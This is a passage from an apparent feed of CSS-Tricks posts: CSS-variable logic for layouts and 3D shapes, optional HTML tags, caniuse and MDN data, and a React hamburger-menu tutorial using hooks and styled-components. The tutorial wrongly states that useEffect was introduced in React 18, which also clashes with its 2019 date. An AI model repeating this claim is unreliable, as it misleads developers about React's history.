  • for --k: 1, --i: 1, we have that --xor is 0 ((1 - 1)*(1 - 1) = 0*0)
Why: Use cases

Let's see a couple of examples that make use of logical operations in CSS. Note that I won't detail other aspects of these demos as they're outside the scope of this particular article.

Hide disabled panel only on small screens

This is a use case I came across while working on an interactive demo that lets users control various parameters to change a visual result. For more knowledgeable users, there's also a panel of advanced controls that's disabled by default. It can, however, be enabled in order to get access to manually controlling even more parameters.

Since this demo is supposed to be responsive, the layout changes with the viewport. We also don't want things to get crammed on smaller screens if we can avoid it, so there's no point in showing the advanced controls if they're disabled and we're in the narrow screen case.

The screenshot collage below shows the results we get for each the four possible scenarios.

Collage of the possible cases.

So let's see what this means in terms of CSS!

First off, on the <body>, we use a switch that goes from 0 in the narrow screen case to 1 in the wide screen case. We also change the flex-direction this way (if you want a more detailed explanation of how this works, check out my second article on DRY switching with CSS variables).

body { --k: var(--wide, 0); display: flex; flex-direction: var(--wide, column); @media (orientation: landscape) { --wide: 1 } }

We then have a second switch on the advanced controls panel. This second switch is 0 if the checkbox is unchecked and 1 if the checkbox is :checked. With the help of this switch, we give our advanced controls panel a disabled look (via a filter chain) and we also disable it (via pointer-events). Here, not comes in handy, as we want to decrease the contrast and the opacity in the disabled case:

.advanced { --i: var(--enabled, 0); --noti: calc(1 - var(--i)); filter: contrast(calc(1 - var(--noti)*.9)) opacity(calc(1 - var(--noti)*.7)); pointer-events: var(--enabled, none); [id='toggle']:checked ~ & { --enabled: 1 } }

We want the advanced controls panel to stay expanded if we're in the wide screen case (so if --k is 1), regardless of whether the checkbox is :checked or not, or if the checkbox is :checked (so if --i is 1), regardless of whether we're in the wide screen case or not.

This is precisely the or operation!

So we compute an --or variable:

.advanced { /* same as before */ --or: calc(1 - (1 - var(--k))*(1 - var(--i))); }

If this --or variable is 0, this means we're in the narrow screen case and our checkbox is unchecked, so we want to zero the height of the advanced controls panel and also its vertical margin:

.advanced { /* same as before */ margin: calc(var(--or)*#{$mv}) 0; height: calc(var(--or)*#{$h}); }

This gives us the desired result (live demo).

Use the same formulas to position multiple faces of a 3D shape

This is a use case I came across while working on the personal project of CSS-ing the Johnson solids this summer.

Let's take a look at one of these shapes, for example, the gyroelongated pentagonal rotunda (J25), in order to see how logical operations are useful here.

The shape we want to get.

This shape is made up out of a pentagonal rotunda without the big decagonal base and a decagonal antiprism without its top decagon. The interactive demo below shows how these two components can be built by folding their nets of faces into 3D and then joined to give us the shape we want.

See the Pen by thebabydino (@thebabydino) on CodePen.

As it can be seen above, the faces are either a part of the antiprism or a part of the rotunda. This is where we introduce our first switch variable --i. This is 0 for the faces that are a part of the antiprism and 1 for the faces that are a part of the rotunda. The antiprism faces have a class of .mid because we can add another rotunda to the other antiprism base and then the antiprism would be in the middle. The rotunda faces have a class of .cup because this part does look like a coffee cup... without a handle!

The rotunda looks like an upside down up cup without a handle. .mid { --i: 0 } .cup { --i: 1 }

Focusing only on the lateral faces, these can have a vertex pointing up or down. This is where we introduce our second variable --k. This is 0 if they have a vertex pointing up (such faces have a .dir class) and 1 if they're reversed and have a vertex pointing down (these faces have a class of .rev)

.dir { --k: 0 } .rev { --k: 1 }

The antiprism has 10 lateral faces (all triangles) pointing up, each attached to an edge of its decagonal base that's also a base for the compound shape. It also has 10 lateral faces (all triangles as well) pointing down, each attached to an edge of its other decagonal base (the one that's also the decagonal base of the rotunda and is therefore not a base for the compound shape).

The rotunda has 10 lateral faces pointing up, alternating triangles and pentagons, each attached to the decagonal base that's also a base for the antiprism (so it's not a base for the compound shape as well). It also has 5 lateral faces, all triangles, pointing down, each attached to an edge of its pentagonal base.

The interactive demo below allows us to better see each of these four groups of faces by highlighting only one at a time. You can use the arrows at the bottom to pick which group of faces gets highlighted. You can also enable the rotation around the y axis and change the shape's tilt.

See the Pen by thebabydino (@thebabydino) on CodePen.

As previously mentioned, the lateral faces can be either triangles or pentagons:

.s3gon { --p: 0 } .s5gon { --p: 1 }

Since all of their lateral faces (.lat) of both the antiprism and the rotunda have one edge in common with one of the two base faces of each shape, we call these common edges the base edges of the lateral faces.

The interactive demo below highlights these edges, their end points and their mid points and allows viewing the shapes from various angles thanks to the auto-rotations around the y axis which can be started/ paused at any moment and to the manual rotations around the x axis which can be controlled via the sliders.

See the Pen by thebabydino (@thebabydino) on CodePen.

In order to make things easier for ourselves, we set the transform-origin of the .lat faces on the middle of their base edges (bottom horizontal edges).

Highlighting the base edges and their midpoints (live).

We also make sure we position these faces such as to have these midpoints dead in the middle of the scene element containing our entire 3D shape.

Having the transform-origin coincide with the midpoint the base edge means that any rotation we perform on a face is going to happen around the midpoint of its base edge, as illustrated by the interactive demo below:

See the Pen by thebabydino (@thebabydino) on CodePen.

We place our lateral faces where we want them to be in four steps:

  1. We rotate them around their y axis such that their base edges are now parallel to their final positions. (This also rotates their local system of coordinates — the z axis of an element always points in the direction that element faces.)
  2. We translate them such that their base edges coincide with their final positions (along the edges of the base faces of the two components).
  3. If they need to have a vertex pointing down, we rotate them around their z axis by half a turn.
  4. We rotate them around their x axis into their final positions

These steps are illustrated by the interactive demo below, where you can go through them and also rotate the entire shape (using the play/pause button for the y axis rotation and the slider for the x axis rotation).

See the Pen by thebabydino (@thebabydino) on CodePen.

The y axis rotation value is based mostly on the face indices and less on our switch variables, though it depends on these as well.

The structure is as follows:

- var n = 5; //- number of edges/ vertices of small base section.scene //- 3D shape element .s3d //- the faces, each a 2D shape element (.s2d) //- lateral (.lat) antiprism (.mid) faces, //- first half pointing up (.dir), others pointing down (.rev) //- all of them being triangles (.s3gon) - for(var j = 0; j < 4*n; j++) .s2d.mid.lat.s3gon(class=j < 2*n ? 'dir' : 'rev') //- lateral (.lat) rotunda (.cup) faces that point up (.dir), //- both triangles (.s3gon) and pentagons (.s5gon) - for(var j = 0; j < n; j++) .s2d.cup.lat.s3gon.dir .s2d.cup.lat.s5gon.dir //- lateral (.lat) rotunda (.cup) faces that point down (.rev) //- all of them triangles (.s3gon) - for(var j = 0; j < n; j++) .s2d.cup.lat.s3gon.rev //- base faces, //- one for the antiprism (.mid), //- the other for the rotunda (.cup) .s2d.mid.base(class=`s${2*n}gon`) .s2d.cup.base(class=`s${n}gon`)

Which gives us the following HTML:

<section class="scene"> <div class="s3d"> <!-- LATERAL faces --> <div class="s2d mid lat s3gon dir"></div> <!-- 9 more identical faces, so we have 10 lateral antiprism faces pointing up --> <div class="s2d mid lat s3gon rev"></div> <!-- 9 more identical faces, so we have 10 lateral antiprism faces pointing down --> <div class="s2d cup lat s3gon dir"></div> <div class="s2d cup lat s5gon dir"></div> <!-- 4 more identical pairs, so we have 10 lateral rotunda faces pointing up --> <div class="s2d cup lat s3gon rev"></div> <!-- 4 more identical faces, so we have 5 lateral rotunda faces pointing down --> <!-- BASE faces --> <div class="s2d mid base s10gon"></div> <div class="s2d cup base s5gon"></div> </div> </section>

This means faces 0... 9 are the 10 lateral antiprism faces pointing up, faces 10... 19 are the 10 lateral antiprism faces pointing down, faces 20... 29 are the 10 lateral rotunda faces pointing up and faces 30... 34 are the 5 lateral rotunda faces pointing down.

So what we do here is set an index --idx on the lateral faces.

$n: 5; // number of edges/ vertices of small base .lat { @for $i from 0 to 2*$n { &:nth-child(#{2*$n}n + #{$i + 1}) { --idx: #{$i} } } }

This index starts at 0 for each group of faces, which means the indices for faces 0... 9, 10... 19 and 20... 29 go from 0 through 9, while the indices for faces 30... 34 go from 0 through 4. Great, but if we just multiply these indices with the base angle1 of the common decagon to get the y axis rotation we want at this step:

--ay: calc(var(--idx)*#{$ba10gon}); transform: rotatey(var(--ay))

...then we get the following final result. I'm showing the final result here because it's a bit difficult to see what's wrong by looking at the intermediate result we get after only applying the rotation around the y axis.

See the Pen by thebabydino (@thebabydino) on CodePen.

This is... not quite what we were going for!

So let's see what problems the above result has and how to solve them with the help of our switch variables and boolean operations on them.

The first issue is that the lateral antiprism faces pointing up need to be offset by half of a regular decagon's base angle. This means adding or subtracting .5 from --idx before multiplying with the base angle, but only for these faces.

See the Pen by thebabydino (@thebabydino) on CodePen.

The faces we want to target are the faces for which both of --i and --k are 0, so what we need here is multiply the result of their nor with .5:

--nor: calc((1 - var(--k))*(1 - var(--i))); --j: calc(var(--idx) + var(--nor)*.5); --ay: calc(var(--j)*#{$ba10gon}); transform: rotatey(var(--ay));

The second issue is that the lateral rotunda faces pointing down are not distributed as they should be, such that each of them has a base edge in common with the base pentagon and the vertex opposing the base in common with the triangular rotunda faces pointing up. This means multiplying --idx by 2, but only for these faces.

See the Pen by thebabydino (@thebabydino) on CodePen.

What we're targeting now are the faces for which both --i and --k are 1 (so the faces for which the result of the and operation is 1), so what we need is to multiply --idx with 1 plus their and:

--and: calc(var(--k)*var(--i)); --nor: calc((1 - var(--k))*(1 - var(--i))); --j: calc((1 + var(--and))*var(--idx) + var(--nor)*.5); --ay: calc(var(--j)*#{$ba10gon}); transform: rotatey(var(--ay));

The next step is the translation for which we use translate3d(). We don't move any of our faces left or right, so the value along the x axis is always 0. We do move them however vertically (along the y axis) and forward (along the z axis)

Vertically, we want the cup faces that will later get rotated to point down to have their base edge in the plane of the small (pentagonal) base of the cup (and of the compound shape). This means the faces for which --i is 1 and --k is 1 get moved up (negative direction) by half the total height of the compound shape (a total height which we have computed to be $h). So we need the and operation here.

// same as before --and: calc(var(--i)*var(--k)); --y: calc(var(--and)*#{-.5*$h}); transform: rotatey(var(--ay)) translate3d(0, var(--y, 0), var(--z, 0));

We also want all the other cup faces as well as the antiprism faces that will eventually point down to have their base edge in the common plane between the cup and the antiprism. This means the faces for which --i is 1 and --k is 0 as well as the faces for which --i is 0 and --k is 1 get translated down (positive direction) by half the height of the compound shape and then back up (negative direction) by the height of the antiprism ($h-mid). And what do you know, this is the xor operation!

// same as before --xor: calc((var(--k) - var(--i))*(var(--k) - var(--i))); --and: calc(var(--i)*var(--k)); --y: calc(var(--xor)*#{.5*$h - $h-mid} - var(--and)*#{.5*$h}); transform: rotatey(var(--ay)) translate3d(0, var(--y, 0), var(--z, 0));

Finally, we want the antiprism faces that will remain pointing up to be in the bottom base plane of the compound shape (and of the antiprism). This means the faces for which --i is 0 and --k is 0 get translated down (positive direction) by half the total height of the compound shape. So what we use here is the nor operation!

// same as before --nor: calc((1 - var(--k))*(1 - var(--i))); --xor: calc((var(--k) - var(--i))*(var(--k) - var(--i))); --and: calc(var(--i)*var(--k)); --y: calc(var(--nor)*#{.5*$h} + var(--xor)*#{.5*$h - $h-mid} - var(--and)*#{.5*$h}); transform: rotatey(var(--ay)) translate3d(0, var(--y, 0), var(--z, 0));

See the Pen by thebabydino (@thebabydino) on CodePen.

Along the z direction, we want to move the faces such that their base edges coincide with the edges of the base faces of the compound shape or the edges of the common base (which is not a face of the compound shape) shared by the two 3D components. For the top faces of the cup (which we later rotate to point down), the placement is on the edges of a pentagon, while for all the other faces of the compound shape, the placement is on the edges of a decagon.

This means the faces for which --i is 1 and --k is 1 get translated forward by the inradius of the pentagonal base while all the other faces get translated forward by the inradius of a decagonal base. So the operations we need here are and and nand!

// same as before --and: calc(var(--i)*var(--k)); --nand: calc(1 - var(--and)); --z: calc(var(--and)*#{$ri5gon} + var(--nand)*#{$ri10gon}); transform: rotatey(var(--ay)) translate3d(0, var(--y, 0), var(--z, 0));

See the Pen by thebabydino (@thebabydino) on CodePen.

Next, we want to make all .rev (for which --k is 1) faces point down. This is pretty straightforward and doesn't require any logical operation, we just need to add a half a turn rotation around the z axis to the transform chain, but only for the faces for which --k is 1:

// same as before --az: calc(var(--k)*.5turn); transform: rotatey(var(--ay)) translate3d(0, var(--y), var(--z)) rotate(var(--az));

See the Pen by thebabydino (@thebabydino) on CodePen.

The pentagonal faces (for which --p is 1) are then all rotated around the x axis by a certain angle:

--ax: calc(var(--p)*#{$ax5});

In the case of the triangular faces (for which --p is 0, meaning we need to use --notp), we have a certain rotation angle for the faces of the antiprism ($ax3-mid), another angle for the faces of the rotunda that point up ($ax3-cup-dir) and yet another angle for the rotunda faces pointing down ($ax3-cup-red).

The antiprism faces are those for which --i is 0, so we need to multiply their corresponding angle value with --noti here. The rotunda faces are those for which --i is 1, and out of these, the ones pointing up are those for which --k is 0 and the ones pointing down are those for which --k is 1.

--notk: calc(1 - var(--k)); --noti: calc(1 - var(--i)); --notp: calc(1 - var(--p)); --ax: calc(var(--notp)*(var(--noti)*#{$ax3-mid} + var(--i)*(var(--notk)*#{$ax3-cup-dir} + var(--k)*#{$ax3-cup-rev})) + var(--p)*#{$ax5}); transform: rotatey(var(--ay)) translate3d(0, var(--y), var(--z)) rotate(var(--az)) rotatex(var(--ax));

This gives us the final result!

See the Pen by thebabydino (@thebabydino) on CodePen.

1 For any regular polygon (such as any of the faces of our shapes), the arc corresponding to one edge, as well as the angle between the circumradii to this edge's ends (our base angle) is a full circle (360°) over the number of edges. In the case of an equilateral triangle, the angle is 360°/3 = 120°. For a regular pentagon, the angle is 360°/5 = 72°. For a regular decagon, the angle is 360°/10 = 36°. ↪️

See the Pen by thebabydino (@thebabydino) on CodePen.

The post Logical Operations with CSS Variables appeared first on CSS-Tricks.

Some HTML is “Optional”

Css Tricks - Wed, 09/11/2019 - 4:22am

There is a variety of HTML that you can just leave out of the source HTML and it's still valid markup.

Doesn't this look weird?

<p>Paragraph one. <p>Paragraph two. <p>Paragraph three.

It does to me, but the closing </p> tags are optional. The browser will detect it needs them and manifest correctly in the DOM anyway.

This probably happens to HTML you write and you don't even know it. For example...

<table> <tr> <td></td> </tr> </table>

That looks perfectly fine to me, but the browser will inject a <tbody> in there around that <tr> for you. Optional in HTML, but the DOM will put it in anyway.

Heck, you don't really even need a <body> in the same fashion! Jens Oliver Meiert shares more:

<link rel=stylesheet href=default.css>

Some attributes are "optional" too in the sense that they have defaults you can leave out. For example, a <button> is automatically <button type="submit">.

Jens further argues that these are almost considered optimizations, as it reduces file size and thus network speed.

Me, I don't like looking at HTML like that. Makes me nervous, since there are actual situations that screw up if you don't do it right. Not all file names can be left unquoted. Sometimes, leaving off closing tags means enveloping a sibling element in a way you didn't expect. I'd even sacrifice a tiny smidge of performance for a more resilient site. Sorta like how I know that * {} isn't a particularly efficient selector, but worrying about CSS selector performance is misplaced worry in most cases (the speed difference is negligible).

I actually quite like JSX in how strict it forces you to write "HTML." That strictness helps code formatting (e.g. Prettier) too, as a bonus.

But hey, a perf gain is a perf gain, so I wouldn't say no to tooling that automatically does this stuff to compiled output. That's apparently something HTMLminifier can do.

The post Some HTML is “Optional” appeared first on CSS-Tricks.

Caniuse and MDN compatibility data collaboration

Css Tricks - Tue, 09/10/2019 - 9:51am

Second only to "silly GIFs," I'd guess screenshots of caniuse are the most common slide graphic at web conferences. It's become the ultimate source for looking at web compatibility data in the hearts and minds of web developers.

Can I use CSS filter in Firefox? Yes. Can I use the filter() function? No.

But of course, MDN has incredible web platform documentation that also includes compatibility data. So it's nice to see them collaborate. And not just theoretically — it's already happening.

Florian Scholz and Alexis Deveria:

Before we began our collaboration, the caniuse website only displayed results for features available in the caniuse database. Now all search results can include support tables for MDN compat data. This includes data types already found on caniuse, specifically the HTML, CSS, JavaScript, Web API, SVG & and HTTP categories. By adding MDN data, the caniuse support table count expands from roughly 500 to 10,500 tables! Developers’ caniuse queries on what’s supported where will now have significantly more results.

Massive upgrade, already live on the site. I absolutely love real collaboration like this when it actually happens. I remember back in 2012 when WebPlatform.org launched and every single major web company gave lip service that they were going to contribute and consolidate their documentation there. Sounded too good to be true. Launched before that work actually happened. Died unglamorously a few years later.

The caniuse database, I believe, is basically this 2MB JSON file on GitHub. We use that right here on CSS-Tricks. We pull it in and use the data in it to display our support tables, crediting caniuse while we do it.

Here's backdrop-filter:

This browser support data is from Caniuse, which has more detail. A number indicates that browser supports the feature at that version and up.

DesktopChromeOperaFirefoxIEEdgeSafari76NoNoNo179*Mobile / TabletiOS SafariOpera MobileOpera MiniAndroidAndroid ChromeAndroid Firefox9.0-9.2*NoNo76NoNo

It doesn't sound like the MDN data is going to make its way into that JSON, so I guess my big hope is that that dataset continues to be updated, or that if it is someday replaced, it is in a place that is similarly easy to access.

I totally get why they are just combining the data sources out of the gate, as MDN digs into individual features in a way that caniuse typically doesn't. For example, the individual values for justify-content are super complicated!

I imagine that kind of detail might require a deeper architectural change that wasn't right for a Version 1 integration.

Direct Link to ArticlePermalink

The post Caniuse and MDN compatibility data collaboration appeared first on CSS-Tricks.

Hamburger Menu with a Side of React Hooks and Styled Components

Css Tricks - Tue, 09/10/2019 - 4:35am

We all know what a hamburger menu is, right? When the pattern started making its way into web designs, it was both mocked and applauded for its minimalism that allows main menus to be tucked off screen, particularly on mobile where every pixel of space counts.

CSS-Tricks is all about double the meat.

Love ‘em or hate ‘em, hamburger menus are here and likely will be for some time to come. The problem is how to implement them. Sure, they look simple and straightforward, but they can be anything but. For example, should they be paired with a label? Are they more effective on the left or right side of the screen? How do we tackle closing those menus, whether by click or touch? Should the icon be an SVG, font, Unicode character, or pure CSS? What about a meatless option?

I wanted to build one of those but failed to find a simple solution. Most solutions are based on libraries, like reactjs-popup or react-burger-menu. They are great, but for more complex solutions. What about the core use case of a three-line menu that simply slides a panel out from the side of the screen when it’s clicked, then slides the panel back in when it’s clicked again?

I decided to build my own simple hamburger with sidebar. No pickles, onions or ketchup. Just meat, bun, and a side of menu items.

Are you ready to create it with me?

View on CodePen View on GitHub Here’s what we’re making

See the Pen
Burger menu with React hooks and styled-components
by Maks Akymenko (@maximakymenko)
on CodePen.

We’re building use React for this tutorial because it seems like a good use case for it: we get a reusable component and a set of hooks we can extend to handle the click functionality.

Spin up a new React project

Let’s spin up a new project using create-react-app, change to that folder directory and add styled-components to style the UI:

npx create-react-app your-project-name cd your-project-name yarn add styled-components Add basic styles

Open the newly created project in your favorite code editor and start adding basic styles using styled-components. In your src directory, create a file called global.js. It will contain styles for the whole app. You can write your own or just copy what I ended up doing:

// global.js import { createGlobalStyle } from 'styled-components'; export const GlobalStyles = createGlobalStyle` html, body { margin: 0; padding: 0; } *, *::after, *::before { box-sizing: border-box; } body { align-items: center; background: #0D0C1D; color: #EFFFFA; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; height: 100vh; justify-content: center; text-rendering: optimizeLegibility; } `

This is only a part of global styles, the rest of it you can find here.

The CreateGlobalStyle function is generally used for creating global styles that are exposed to the whole app. We’ll import it so we have access to these styles as we go.

The next step is to add a theme file that holds all our variables. Create a theme.js file in the src directory and add following:

// theme.js export const theme = { primaryDark: '#0D0C1D', primaryLight: '#EFFFFA', primaryHover: '#343078', mobile: '576px', } Add layout, menu and hamburger components &#x1f354;

Go to your App.js file. We’re going to wipe everything out of there and create the main template for our app. Here’s what I did. You can certainly create your own.

// App.js import React from 'react'; import { ThemeProvider } from 'styled-components'; import { GlobalStyles } from './global'; import { theme } from './theme'; function App() { return ( <ThemeProvider theme={theme}> <> <GlobalStyles /> <div> <h1>Hello. This is burger menu tutorial</h1> <img src="https://image.flaticon.com/icons/svg/2016/2016012.svg" alt="burger icon" /> <small>Icon made by Freepik from www.flaticon.com</small> </div> </> </ThemeProvider> ); } export default App;

Don’t forget to add the line with the small tag. That’s how we credit flaticon.comhttp://flaticon.com) authors for the provided icon.

Here’s what we’ve got up to this point:

Let me explain a little bit. We imported ThemeProvider, which is a wrapper component that uses the Context API behind the scenes to make our theme variables available to the whole component tree.

We also imported our GlobalStyles and passed them as a component to our app, which means that our application now has access to all global styles. As you can see, our GlobalStyles component is inside ThemeProvider which means we can already make some minor changes in it.

Go to global.js and change the background and color properties to use our defined variables. This helps us implement a theme rather than using fixed values that are difficult to change.

// global.js background: ${({ theme }) => theme.primaryDark}; color: ${({ theme }) => theme.primaryLight};

We destructure our theme from props. So, instead of writing props.theme each time, we’re using a bunch of brackets instead. I’ll repeat myself: the theme is available because we’ve wrapped our global styles with ThemeProvider.

Create Burger and Menu components

Create a components folder inside the src directory and add two folders in there: Menu and Burger, plus an index.js file.

index.js will be used for one purpose: allow us to import components from one file, which is very handy, especially when you have a lot of them.

Now let’s create our components. Each folder will contain three files.

What’s up with all the files? You’ll see the benefit of a scalable structure soon enough. It worked well for me in a couple of projects, but here is good advice how to create scalable structure.

Go to the Burger folder and create Burger.js for our layout. Then add Burger.styled.js, which will contain styles, and index.js, which will be exporting the file.

// index.js export { default } from './Burger';

Feel free to style burger toggle in a way you want, or just paste these styles:

// Burger.styled.js import styled from 'styled-components'; export const StyledBurger = styled.button` position: absolute; top: 5%; left: 2rem; display: flex; flex-direction: column; justify-content: space-around; width: 2rem; height: 2rem; background: transparent; border: none; cursor: pointer; padding: 0; z-index: 10; &:focus { outline: none; } div { width: 2rem; height: 0.25rem; background: ${({ theme }) => theme.primaryLight}; border-radius: 10px; transition: all 0.3s linear; position: relative; transform-origin: 1px; } `;

The transform-origin property will be needed later to animate the menu it toggles between open and closed states.

After adding the styles, go to Burger.js and add the layout:

// Burger.js import React from 'react'; import { StyledBurger } from './Burger.styled'; const Burger = () => { return ( <StyledBurger> <div /> <div /> <div /> </StyledBurger> ) } export default Burger;

After that look at the left top corner. Do you see it?

Time to do the same with the Menu folder:

// Menu -> index.js export { default } from './Menu'; // Menu.styled.js import styled from 'styled-components'; export const StyledMenu = styled.nav` display: flex; flex-direction: column; justify-content: center; background: ${({ theme }) => theme.primaryLight}; height: 100vh; text-align: left; padding: 2rem; position: absolute; top: 0; left: 0; transition: transform 0.3s ease-in-out; @media (max-width: ${({ theme }) => theme.mobile}) { width: 100%; } a { font-size: 2rem; text-transform: uppercase; padding: 2rem 0; font-weight: bold; letter-spacing: 0.5rem; color: ${({ theme }) => theme.primaryDark}; text-decoration: none; transition: color 0.3s linear; @media (max-width: ${({ theme }) => theme.mobile}) { font-size: 1.5rem; text-align: center; } &:hover { color: ${({ theme }) => theme.primaryHover}; } } `;

Next, let’s add the layout for the menu items that are revealed when clicking on our burger:

// Menu.js import React from 'react'; import { StyledMenu } from './Menu.styled'; const Menu = () => { return ( <StyledMenu> <a href="/"> <span role="img" aria-label="about us">&#x1f481;&#x1f3fb;&#x200d;&#x2642;&#xfe0f;</span> About us </a> <a href="/"> <span role="img" aria-label="price">&#x1f4b8;</span> Pricing </a> <a href="/"> <span role="img" aria-label="contact">&#x1f4e9;</span> Contact </a> </StyledMenu> ) } export default Menu;

We’ve got nice emojis here, and best practice is to make them accessible by wrapping each one in a span and adding a couple of properties: role="img" and aria-label="your label". You can read more about it here.

Time to import our new components into our App.js file:

// App.js import React from 'react'; import { ThemeProvider } from 'styled-components'; import { GlobalStyles } from './global'; import { theme } from './theme'; import { Burger, Menu } from './components'; // ...

Let’s see, what we’ve got:

Take a look at this nice navigation bar! But we’ve got one issue here: it’s opened, and we want it initially to be closed. We only need to add one line to Menu.styled.js fix it:

// Menu.styled.js transform: translateX(-100%);

We are well on our way to calling this burger cooked! But first…

Adding open and close functionality

We want to open the sidebar when clicking the hamburger icon, so let’s get to it. Open App.js and add some state to it. We will use the useState hook for it.

// App.js import React, { useState } from 'react';

After you import it, let’s use it inside the App component.

// App.js const [open, setOpen] = useState(false);

We set the initial state to false, because our menu should be hidden when the application is rendered.

We need both our toggle and sidebar menu to know about the state, so pass it down as a prop to each component. Now your App.js should look something like this:

// App.js import React, { useState } from 'react'; import { ThemeProvider } from 'styled-components'; import { GlobalStyles } from './global'; import { theme } from './theme'; import { Burger, Menu } from './components'; function App() { const [open, setOpen] = useState(false); return ( <ThemeProvider theme={theme}> <> <GlobalStyles /> <div> <h1>Hello. This is burger menu tutorial</h1> <img src="https://media.giphy.com/media/xTiTnwj1LUAw0RAfiU/giphy.gif" alt="animated burger" /> </div> <div> <Burger open={open} setOpen={setOpen} /> <Menu open={open} setOpen={setOpen} /> </div> </> </ThemeProvider> ); } export default App;

Notice that we’re wrapping our components in a div. This will be helpful later when we add functionality that closes the menu when clicking anywhere on the screen.

Handle props in the components

Our Burger and Menu know about the state, so all we need to do is to handle it inside and add styles accordingly. Go to Burger.js and handle the props that were passed down:

// Burger.js import React from 'react'; import { bool, func } from 'prop-types'; import { StyledBurger } from './Burger.styled'; const Burger = ({ open, setOpen }) => { return ( <StyledBurger open={open} onClick={() => setOpen(!open)}> <div /> <div /> <div /> </StyledBurger> ) } Burger.propTypes = { open: bool.isRequired, setOpen: func.isRequired, }; export default Burger;

We destructure the open and setOpen props and pass them to our StyledBurger to add styles for each prop, respectively. Also, we add the onClick handler to call our setOpen function and toggle open prop. At the end of the file, we add type checking, which is considered a best practice for aligning arguments with expected data.

You can check whether it works or not by going to your react-dev-tools. Go to Components tab in your Chrome DevTools and click on Burger tab.

Now, when you click on your Burger component, (don’t mix it up with the tab), you should see, that your open checkbox is changing its state.

Go to Menu.js and do almost the same, although, here we pass only the open prop:

// Menu.js import React from 'react'; import { bool } from 'prop-types'; import { StyledMenu } from './Menu.styled'; const Menu = ({ open }) => { return ( <StyledMenu open={open}> <a href="/"> <span role="img" aria-label="about us">&#x1f481;&#x1f3fb;&#x200d;&#x2642;&#xfe0f;</span> About us </a> <a href="/"> <span role="img" aria-label="price">&#x1f4b8;</span> Pricing </a> <a href="/"> <span role="img" aria-label="contact">&#x1f4e9;</span> Contact </a> </StyledMenu> ) } Menu.propTypes = { open: bool.isRequired, } export default Menu;

Next step is to pass open prop down to our styled component so we could apply the transition. Open Menu.styled.js and add the following to our transform property:

transform: ${({ open }) => open ? 'translateX(0)' : 'translateX(-100%)'};

This is checking if our styled component open prop is true, and if so, it adds translateX(0) to move our navigation back on the screen. You can already test it out locally!

Wait, wait, wait!

Did you notice something wrong when checking things out? Our Burger has the same color as the background color of our Menu, which make them blend together. Let’s change that and also animate the icon a bit to make it more interesting. We’ve got the open prop passed to it, so we can use that to apply the changes.

Open Burger.styled.js and write the following:

// Burger.styled.js import styled from 'styled-components'; export const StyledBurger = styled.button` position: absolute; top: 5%; left: 2rem; display: flex; flex-direction: column; justify-content: space-around; width: 2rem; height: 2rem; background: transparent; border: none; cursor: pointer; padding: 0; z-index: 10; &:focus { outline: none; } div { width: 2rem; height: 0.25rem; background: ${({ theme, open }) => open ? theme.primaryDark : theme.primaryLight}; border-radius: 10px; transition: all 0.3s linear; position: relative; transform-origin: 1px; :first-child { transform: ${({ open }) => open ? 'rotate(45deg)' : 'rotate(0)'}; } :nth-child(2) { opacity: ${({ open }) => open ? '0' : '1'}; transform: ${({ open }) => open ? 'translateX(20px)' : 'translateX(0)'}; } :nth-child(3) { transform: ${({ open }) => open ? 'rotate(-45deg)' : 'rotate(0)'}; } } `;

This is a big chunk of CSS, but it makes the animation magic happen. We check if the open prop is true and change styles accordingly. We rotate, translate, then hide the menu icon’s lines while changing color. Beautiful, isn’t it?

Okay, folks! By now, you should know how to create a simple hamburger icon and menu, that incorporates responsiveness and smooth animation. Congratulations!

But there’s one last thing we ought to account for...

Close the menu by clicking outside of it

This part seems like a small bonus, but it’s a big UX win because it allows the user to close the menu by clicking anywhere else on the page. This helps the user avoid having to re-locate the menu icon and clicking exactly on it.

We’re going to put more React hooks to use to make this happen! Create a file in the src directory, called hooks.js and open it. For this one, we’re gonna turn to the useEffect hook, which was introduced in React 18.

// hooks.js import { useEffect } from 'react';

Before we write the code, let’s think about the logic behind this hook. When we click somewhere on the page, we need to check whether the clicked element is our current element (in our case, that is the Menu component) or if the clicked element contains the current element (for instance, our div that wraps our menu and hamburger icon). If so, we don’t do anything, otherwise, we call a function, that we’ll name handler.

We are going to use ref to check the clicked element, and we will do so every time someone clicks on the page.

// hooks.js import { useEffect } from 'react'; export const useOnClickOutside = (ref, handler) => { useEffect(() => { const listener = event => { if (!ref.current || ref.current.contains(event.target)) { return; } handler(event); }; document.addEventListener('mousedown', listener); return () => { document.removeEventListener('mousedown', listener); }; }, [ref, handler], ); };

Don’t forget to return the function from useEffect. That’s so-called "clean up" and, basically, it stands for removing an event listener when the component unmounts. It is the replacement of componentWillUnmount lifecycle.

Now let’s hook up the hook

We’ve got our hook ready, so it’s time to add it to the app. Go to the App.js file, and import two hooks: the newly created useOnClickOutside and also useRef. We’ll need the latter to get a reference to the element.

// App.js import React, { useState, useRef } from 'react'; import { useOnClickOutside } from './hooks';

To get access these in the current element, we need to get access to the DOM node. That’s where we use useRef, also, the name node perfectly reflects the point of this variable.

From there, we pass the node as a first argument. We’ll pass the function that closes our menu as a second argument.

// App.js const node = useRef(); useOnClickOutside(node, () => setOpen(false));

Lastly, we need to pass our ref to the DOM element. In our case, it will be div, that holds the Burger and Menu components:

// App.js <div ref={node}> <Burger open={open} setOpen={setOpen} /> <Menu open={open} setOpen={setOpen} /> </div>

Your App.js should look similar to this:

// App.js import React, { useState, useRef } from 'react'; import { ThemeProvider } from 'styled-components'; import { useOnClickOutside } from './hooks'; import { GlobalStyles } from './global'; import { theme } from './theme'; import { Burger, Menu } from './components'; function App() { const [open, setOpen] = useState(false); const node = useRef(); useOnClickOutside(node, () => setOpen(false)); return ( <ThemeProvider theme={theme}> <> <GlobalStyles /> <div> <h1>Hello. This is burger menu tutorial</h1> <img src="https://media.giphy.com/media/xTiTnwj1LUAw0RAfiU/giphy.gif" alt="animated burger" /> </div> <div ref={node}> <Burger open={open} setOpen={setOpen} /> <Menu open={open} setOpen={setOpen} /> </div> </> </ThemeProvider> ); } export default App;

Check this out! It works as expected, and it’s fully functional and responsive.

Congratulations, everyone! You did a great job! Happy coding!

View on GitHub

The post Hamburger Menu with a Side of React Hooks and Styled Components appeared first on CSS-Tricks.

“Off The Main Thread”

Css Tricks - Tue, 09/10/2019 - 4:33am

JavaScript is what they call "single-threaded." As Brian Barbour puts it:

This means it has one call stack and one memory heap.

